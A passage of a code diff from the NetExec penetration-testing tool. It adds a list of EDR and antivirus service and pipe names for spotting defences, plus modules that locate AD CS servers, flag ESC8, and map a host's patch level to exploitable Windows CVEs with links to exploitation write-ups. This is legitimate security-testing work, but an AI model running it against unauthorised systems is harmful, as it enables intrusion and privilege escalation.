+            "services": [
+                {"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
+                {"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
+            ],
+            "pipes": []
+        },
+        {
+            "name": "Kaseya Agent Endpoint",
+            "services": [
+                {"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
+                {"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
+            ],
+            "pipes": [
+                {"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
+                {"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
+            ]
+        },
         {
             "name": "Kaspersky Security for Windows Server",
             "services": [
@@ -288,6 +319,18 @@ conf = {
                 {"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
             ]
         },
+        {
+            "name": "Malwarebytes",
+            "services": [
+                {"name": "MBAMService", "description": "Malwarebytes Service"},
+                {"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
+            ],
+            "pipes": [
+                {"name": "MBLG", "processes": ["MBAMService.exe"]},
+                {"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
+                {"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
+            ]
+        },
         {
             "name": "Panda Adaptive Defense 360",
             "services": [
@@ -300,6 +343,11 @@ conf = {
                 {"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
             ]
         },
+        {
+            "name": "Rapid7",
+            "services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
+            "pipes": []
+        },
         {
             "name": "SentinelOne",
             "services": [
@@ -313,15 +361,6 @@ conf = {
                 {"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
             ]
         },
-        {
-            "name": "Symantec Endpoint Protection",
-            "services": [
-                {"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
-                {"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
-                {"name": "SNAC", "description": "Symantec Network Access Control"}
-            ],
-            "pipes": []
-        },
         {
             "name": "Sophos Intercept X",
             "services": [
@@ -342,6 +381,36 @@ conf = {
                 {"name": "sophoslivequery_*", "processes": [""]}
             ]
         },
+        {
+            "name": "Symantec Endpoint Protection",
+            "services": [
+                {"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
+                {"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
+                {"name": "SNAC", "description": "Symantec Network Access Control"}
+            ],
+            "pipes": []
+        },
+        {
+            "name": "Trellix Endpoint Detection and Response (EDR)",
+            "services": [
+                {"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
+                {"name": "mfemactl", "description": "Trellix Management Service"},
+                {"name": "mfemms", "description": "McAfee Management Service"},
+                {"name": "mfefire", "description": "Trellix Firewall Core Service"},
+                {"name": "masvc", "description": "Trellix Agent Service"},
+                {"name": "macmnsvc", "description": "Trellix Agent Common Service"},
+                {"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
+                {"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
+                {"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
+            ],
+            "pipes": [
+                {"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
+                {"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
+                {"name": "mfefire_*", "processes": ["mfefire.exe"]},
+                {"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
+                {"name": "mfetp_*", "processes": ["mfetp.exe"]}
+            ]
+        },
         {
             "name": "Trend Micro Endpoint Security",
             "services": [
@@ -350,7 +419,10 @@ conf = {
                 {"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
                 {"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
                 {"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
-                {"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
+                {"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
+                {"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
+                {"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
+                {"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
             ],
             "pipes": [
                 {"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
@@ -360,6 +432,13 @@ conf = {
                 {"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
             ]
         },
+        {
+            "name": "Wazuh",
+            "services": [
+                {"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
+            ],
+            "pipes": []
+        },
         {
             "name": "Windows Defender",
             "services": [
@@ -368,6 +447,21 @@ conf = {
                 {"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
             ],
             "pipes": []
+        },
+        {
+            "name": "WithSecure Elements",
+            "services": [
+                {"name": "fsdevcon", "description": "WithSecure Device Control"},
+                {"name": "fshoster", "description": "WithSecure Hoster"},
+                {"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
+                {"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
+                {"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
+                {"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
+                {"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
+            ],
+            "pipes": [
+                {"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
+            ]
         }
     ]
 }

nxc/modules/enum_ca.py

@@ -0,0 +1,125 @@
+from impacket.dcerpc.v5 import transport, epm
+from impacket.http import AUTH_NTLM
+from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
+    RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
+    RPC_PROXY_RPC_OUT_DATA_404_ERR
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket import uuid
+import requests
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
+import contextlib
+
+
+class NXCModule:
+    """
+    -------
+    Module by @0xjbb, original code from Impacket rpcdump.py
+    """
+    KNOWN_PROTOCOLS = {
+        135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
+        139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
+        443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
+        445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
+        593: {"bindstr": r"ncacn_http:%s"}
+    }
+
+    name = "enum_ca"
+    description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
+    supported_protocols = ["smb"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def on_login(self, context, connection):
+        self.__username = connection.username
+        self.__password = connection.password
+        self.__domain = connection.domain
+        self.__lmhash = ""
+        self.__nthash = ""
+        self.__port = 135.
+        self.__stringbinding = ""
+
+        if context.hash and ":" in context.hash[0]:
+            hashList = context.hash[0].split(":")
+            self.__nthash = hashList[-1]
+            self.__lmhash = hashList[0]
+        elif context.hash and ":" not in context.hash[0]:
+            self.__nthash = context.hash[0]
+            self.__lmhash = "00000000000000000000000000000000"
+
+        self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
+        context.log.debug(f"StringBinding {self.__stringbinding}")
+
+        rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
+
+        if self.__port in [139, 445]:
+            # Setting credentials for SMB
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            rpctransport.setRemoteHost(connection.host)
+            rpctransport.set_dport(self.__port)
+        elif self.__port == 443:
+            # Setting credentials only for RPC Proxy, but not for the MSRPC level
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            rpctransport.set_auth_type(AUTH_NTLM)
+        else:
+            rpctransport.setRemoteHost(connection.host)
+
+        dce = None
+        try:
+            if int(self.__port) == 135:
+                rpc = NXCRPCConnection(connection, force_tcp=True)
+                rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
+                dce = rpc.rpc_transport.get_dce_rpc()
+                if connection.kerberos:
+                    dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+                dce.connect()
+                entries = list(epm.hept_lookup(None, dce=dce))
+            else:
+                entries = self.__fetchList(connection.kerberos, rpctransport)
+        except Exception as e:
+            error_text = f"Protocol failed: {e}"
+            context.log.fail(error_text)
+
+            if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
+               RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
+                context.log.fail("This usually means the target does not allow "
+                                 "to connect to its epmapper using RpcProxy.")
+            return
+        finally:
+            with contextlib.suppress(Exception):
+                dce.disconnect()
+
+        for entry in entries:
+            tmpUUID = str(entry["tower"]["Floors"][0])
+
+            if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
+                exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
+                context.log.debug(f"EXEs {exename}")
+                if exename == "certsrv.exe":
+                    context.log.highlight("Active Directory Certificate Services Found.")
+                    url = f"http://{connection.host}/certsrv/certfnsh.asp"
+                    context.log.highlight(url)
+                    try:
+                        response = requests.get(url, timeout=5)
+                        if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
+                            context.log.highlight("Web enrollment found on HTTP (ESC8).")
+                    except requests.RequestException as e:
+                        context.log.debug(e)
+                    return
+
+    def __fetchList(self, doKerberos, rpctransport):
+        dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        dce.connect()
+        resp = epm.hept_lookup(None, dce=dce)
+        dce.disconnect()
+        return resp

nxc/modules/enum_cve.py

@@ -0,0 +1,245 @@
+from impacket.dcerpc.v5 import rrp
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.smbconnection import SessionError
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
+from impacket.nmb import NetBIOSError
+
+
+class NXCModule:
+    """
+    Initial module by: Mauriceter
+    Additional authors: azoxlpf, Defte, YOLOP0wn, pol4ir, NeffIsBack
+    """
+    name = "enum_cve"
+    description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR."
+    supported_protocols = ["smb"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self, context=None, module_options=None):
+        context = context
+        self.module_options = module_options
+        self.cve = "all"
+        self.exploitation_details = False
+
+    def options(self, context, module_options):
+        """
+        Be aware that these checks solely rely on the OS version and UBR reported in the registry,
+        and do not check for the actual presence of the vulnerable components or mitigations.
+        Test the attack yourself to verify the host is actually vulnerable.
+
+        Currently supported CVEs:
+        - CVE-2025-33073 (NTLM Reflection)
+        - CVE-2025-58726 (Ghost SPN)
+        - CVE-2025-54918 (NTLM MIC Bypass)
+        - CVE-2025-53779 (BadSuccessor)
+        - CVE-2024-49019 (EKUwu / ESC15)
+        - CVE-2026-54121 (Certighost)
+        - CVE-2026-27912 (ResetNightmare)
+        - CVE-2026-102217 (PetitPotam WebDAV coercion)
+
+        CVE             Filter for specific CVE number (default: All)
+        EXPLOITATION    Also provide sources for exploitation details (default: False)
+        """
+        self.listener = None
+        if "CVE" in module_options:
+            self.cve = module_options["CVE"].lower()
+        if "EXPLOITATION" in module_options:
+            self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
+
+    def is_vulnerable(self, major, minor, build, ubr, msrc):
+        key = (major, minor, build)
+        min_patched_ubr = msrc.get(key)
+        if min_patched_ubr is None:
+            return None  # Unknown product
+        if ubr is None:
+            return None
+        return ubr < min_patched_ubr
+
+    def on_login(self, context, connection):
+        connection.trigger_winreg()
+
+        try:
+            # Connect to RemoteRegistry to read UBR from registry
+            dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
+            # Reading UBR from registry
+            hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
+            hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
+            ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
+            dce.disconnect()
+            if not ubr:
+                context.log.info("Could not determine OS version from registry")
+                return
+            else:
+                context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}")
+        except DCERPCException as e:
+            context.log.fail(f"DCERPC error: {e}")
+            return
+        except SessionError as e:
+            if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
+                context.log.info(f"RemoteRegistry is probably deactivated: {e}")
+            else:
+                context.log.fail(f"Unexpected error: {e}")
+            return
+        except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
+            context.log.fail(f"DCERPC transport error: {e.__class__.__name__}: {e}")
+            return
+
+        # Check each CVE
+        for cve in self.CVE_PATCHES:
+            if self.cve == "all" or self.cve.lower() == cve.lower():
+                if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
+                    context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
+                    continue
+                if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
+                    if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]:  # Special conditional message for some CVEs
+                        context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
+                    else:
+                        context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['message']}")
+                    if self.exploitation_details:
+                        context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
+                else:
+                    context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
+
+    # patches: key = (major, minor, build), value = minimum patched UBR
+    CVE_PATCHES = {
+        # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073
+        "CVE-2025-33073": {
+            "alias": "NTLM reflection",
+            "patches": {
+                (10, 0, 10240): 21034,    # Windows 10 1507
+                (10, 0, 14393): 8148,     # Windows Server 2016 / Win10 1607
+                (10, 0, 17763): 7434,     # Windows Server 2019 / Win10 1809
+                (10, 0, 19044): 5965,     # Windows 10 21H2
+                (10, 0, 20348): 3807,     # Windows Server 2022
+                (10, 0, 22621): 5472,     # Windows 11 22H2
+                (10, 0, 25398): 1665,     # Windows Server 2022 23H2
+                (10, 0, 26100): 4270,     # Windows Server 2025 / Win11 24H2
+            },
+            "message": "Relay possible from SMB to any protocol",
+            "signing_message": "can relay SMB to other protocols except SMB",
+            "exploitation": "https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025",
+        },
+        # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726
+        "CVE-2025-58726": {
+            "alias": "Ghost SPN",
+            "patches": {
+                (6, 0, 6003): 23571,      # Windows Server 2008 SP2
+                (6, 1, 7601): 27974,      # Windows Server 2008 R2 SP1
+                (6, 2, 9200): 25722,      # Windows Server 2012
+                (6, 3, 9600): 22824,      # Windows Server 2012 R2
+                (10, 0, 10240): 21161,    # Windows 10 1507
+                (10, 0, 14393): 8519,     # Windows Server 2016 / Win10 1607
+                (10, 0, 17763): 7919,     # Windows Server 2019 / Win10 1809
+                (10, 0, 19044): 6456,     # Windows 10 21H2
+                (10, 0, 20348): 4294,     # Windows Server 2022
+                (10, 0, 22621): 6060,     # Windows 11 22H2
+                (10, 0, 25398): 1913,     # Windows Server 2022 23H2
+                (10, 0, 26100): 6899,     # Windows Server 2025 / Win11 24H2
+                (10, 0, 26200): 6899,     # Windows 11 25H2
+            },
+            "message": "Relay possible from SMB using Ghost SPN for Kerberos reflection",
+            "signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB",
+            "exploitation": "https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/",
+        },
+
+        # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918
+        # https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
+        "CVE-2025-54918": {
+            "alias": "NTLM MIC Bypass",
+            "dc_only": True,
+            "patches": {
+                (6, 0, 6003): 23529,      # Windows Server 2008 SP2
+                (6, 1, 7601): 27929,      # Windows Server 2008 R2 SP1
+                (6, 2, 9200): 25675,      # Windows Server 2012
+                (6, 3, 9600): 22774,      # Windows Server 2012 R2
+                (10, 0, 10240): 21128,    # Windows 10 1507
+                (10, 0, 14393): 8422,     # Windows Server 2016
+                (10, 0, 17763): 7792,     # Windows Server 2019 / Win10 1809
+                (10, 0, 19044): 6332,     # Windows 10 21H2
+                (10, 0, 20348): 4171,     # Windows Server 2022
+                (10, 0, 22621): 5909,     # Windows 11 22H2
+                (10, 0, 22631): 5909,     # Windows 11 23H2
+                (10, 0, 26100): 6508,     # Windows Server 2025 / Win11 24H2
+            },
+            "message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable",
+            "exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1",
+        },
+        # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779
+        "CVE-2025-53779": {
+            "alias": "BadSuccessor",
+            "dc_only": True,
+            "patches": {
+                (10, 0, 26100): 4851,     # Windows Server 2025 / Win11 24H2
+            },
+            "message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
+            "exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
+        },
+        # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
+        "CVE-2024-49019": {
+            "alias": "ESC15 / EKUwu",
+            "patches": {
+                (6, 0, 6003): 22966,      # Windows Server 2008 SP2
+                (6, 1, 7601): 27415,      # Windows Server 2008 R2 SP1
+                (6, 2, 9200): 25165,      # Windows Server 2012
+                (6, 3, 9600): 22267,      # Windows Server 2012 R2
+                (10, 0, 14393): 7515,     # Windows Server 2016
+                (10, 0, 17763): 6532,     # Windows Server 2019 / Win10 1809
+                (10, 0, 20348): 2849,     # Windows Server 2022
+                (10, 0, 25398): 1251,     # Windows Server 2022 23H2
+                (10, 0, 26100): 2314,     # Windows Server 2025 / Win11 24H2
+            },
+            "message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
+            "exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
+        },
+        # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
+        "CVE-2026-54121": {
+            "alias": "Certighost",
+            "patches": {
+                (6, 2, 9200): 26226,      # Windows Server 2012
+                (6, 3, 9600): 23291,      # Windows Server 2012 R2
+                (10, 0, 14393): 9339,     # Windows Server 2016
+                (10, 0, 17763): 9020,     # Windows Server 2019
+                (10, 0, 20348): 5386,     # Windows Server 2022
+                (10, 0, 26100): 33158,    # Windows Server 2025
+            },
+            "message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
+            "exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
+        },
+        # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
+        "CVE-2026-27912": {
+            "alias": "ResetNightmare",
+            "dc_only": True,
+            "patches": {
+                (6, 2, 9200): 26026,      # Windows Server 2012
+                (6, 3, 9600): 23132,      # Windows Server 2012 R2
+                (10, 0, 14393): 9060,     # Windows Server 2016
+                (10, 0, 17763): 8644,     # Windows Server 2019
+                (10, 0, 20348): 5020,     # Windows Server 2022
+                (10, 0, 25398): 2274,     # Windows Server 2022 23H2
+                (10, 0, 26100): 32690,    # Windows Server 2025
+            },
+            "message": "Password reset of any account possible via Kerberos change password abuse",
+            "exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
+        },
+        # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
+        "CVE-2026-102217": {
+            "alias": "PetitPotam WebDAV coercion",
+            "patches": {
+                (6, 2, 9200): 26434,      # Windows Server 2012
+                (6, 3, 9600): 23470,      # Windows Server 2012 R2
+                (10, 0, 14393): 9612,     # Windows Server 2016
+                (10, 0, 17763): 9376,     # Windows Server 2019
+                (10, 0, 19044): 7807,     # Windows 10 21H2
+                (10, 0, 19045): 7807,     # Windows 10 22H2
+                (10, 0, 20348): 5761,     # Windows Server 2022
+                (10, 0, 22631): 7652,     # Windows 11 23H2
+                (10, 0, 26100): 33650,    # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
+                (10, 0, 26200): 9711,     # Windows 11 25H2
+                (10, 0, 26300): 9711,     # Windows 11 26H2
+                (10, 0, 28000): 3231,     # Windows 11 26H1
+            },
+            "message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
+            "exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
+        },
+    }

nxc/modules/enum_dns.py

@@ -1,5 +1,8 @@
 from datetime import datetime
 from nxc.helpers.logger import write_log
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
+from nxc.paths import NXC_PATH
 
 
 class NXCModule:
@@ -11,8 +14,7 @@ class NXCModule:
     name = "enum_dns"
     description = "Uses WMI to dump DNS from an AD DNS Server"
     supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -28,16 +30,16 @@ class NXCModule:
     def on_admin_login(self, context, connection):
         if not self.domains:
             domains = []
-            output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
+            output = connection.wmi_query("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
             domains = [result["Name"]["value"] for result in output] if output else []
             context.log.success(f"Domains retrieved: {domains}")
         else:
             domains = [self.domains]
         data = ""
-        
+
         for domain in domains:
-            output = connection.wmi(
-                f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
+            output = connection.wmi_query(
+                f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = '{domain}'",
                 "root\\microsoftdns",
             )
 
@@ -50,7 +52,7 @@ class NXCModule:
                     rname = text.split(" ")[0]
                     rtype = text.split(" ")[2]
                     rvalue = " ".join(text.split(" ")[3:])
-                    if domain_data.get(rtype, False):
+                    if domain_data.get(rtype):
                         domain_data[rtype].append(f"{rname}: {rvalue}")
                     else:
                         domain_data[rtype] = [f"{rname}: {rvalue}"]
@@ -62,6 +64,6 @@ class NXCModule:
                         context.log.highlight("\t" + d)
                         data += "\t" + d + "\n"
 
-        log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
+        log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
         write_log(data, log_name)
-        context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
+        context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")

nxc/modules/enum_impersonate.py

@@ -0,0 +1,49 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Enumerate SQL Server users with impersonation rights
+    Module by deathflamingo
+    """
+
+    name = "enum_impersonate"
+    description = "Enumerate users with impersonation privileges"
+    supported_protocols = ["mssql"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+        impersonate_users = self.get_impersonate_users()
+        if impersonate_users:
+            self.context.log.success("Users with impersonation rights:")
+            for user in impersonate_users:
+                self.context.log.display(f"  - {user}")
+        else:
+            self.context.log.fail("No users with impersonation rights found.")
+
+    def get_impersonate_users(self) -> list:
+        """
+        Fetches a list of users with impersonation rights.
+
+        Returns
+        -------
+        list: List of user names.
+        """
+        query = """
+        SELECT DISTINCT b.name
+        FROM sys.server_permissions a
+        INNER JOIN sys.server_principals b
+        ON a.grantor_principal_id = b.principal_id
+        WHERE a.permission_name LIKE 'IMPERSONATE%'
+        """
+        res = self.mssql_conn.sql_query(query)
+        return [user["name"] for user in res] if res else []
+
+    def options(self, context, module_options):
+        pass

nxc/modules/enum_interfaces.py

@@ -0,0 +1,95 @@
+#!/usr/bin/env python3
+
+import contextlib
+from impacket.examples.secretsdump import RemoteOperations
+from impacket.dcerpc.v5 import rrp
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
+    Formerly --interfaces parameter
+    Made by: @Sant0rryu, @NeffIsBack
+    """
+
+    name = "enum_interfaces"
+    description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
+    supported_protocols = ["smb"]
+    opsec_safe = False
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.context = None
+        self.module_options = {}
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def on_admin_login(self, context, connection):
+        """Execute network interface enumeration on authenticated SMB connection"""
+        self.context = context
+
+        try:
+            remoteOps = RemoteOperations(connection.conn, False)
+            remoteOps.enableRegistry()
+
+            if remoteOps._RemoteOperations__rrp:
+                reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
+                key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
+                sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+                sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
+
+                context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
+                for sub_key in sub_keys:
+                    interface = {}
+                    try:
+                        interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
+                        interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
+
+                        # Retrieve Interace Name
+                        interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
+                        interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
+                        interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
+                        interface["Name"] = str(interface_name)
+                        if "Kernel" in interface_name:
+                            continue
+
+                        # Retrieve DHCP
+                        try:
+                            dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
+                        except DCERPCException:
+                            dhcp_enabled = False
+                        interface["DHCP"] = bool(dhcp_enabled)
+
+                        # Retrieve IPAddress
+                        try:
+                            ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
+                        except DCERPCException:
+                            ip_address = None
+                        interface["IPAddress"] = ip_address if ip_address else None
+
+                        # Retrieve SubnetMask
+                        try:
+                            subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
+                        except DCERPCException:
+                            subnetmask = None
+                        interface["SubnetMask"] = subnetmask if subnetmask else None
+
+                        # Retrieve DefaultGateway
+                        try:
+                            default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
+                        except DCERPCException:
+                            default_gateway = None
+                        interface["DefaultGateway"] = default_gateway if default_gateway else None
+
+                        context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
+
+                    except DCERPCException as e:
+                        context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
+
+            with contextlib.suppress(Exception):
+                remoteOps.finish()
+        except DCERPCException as e:
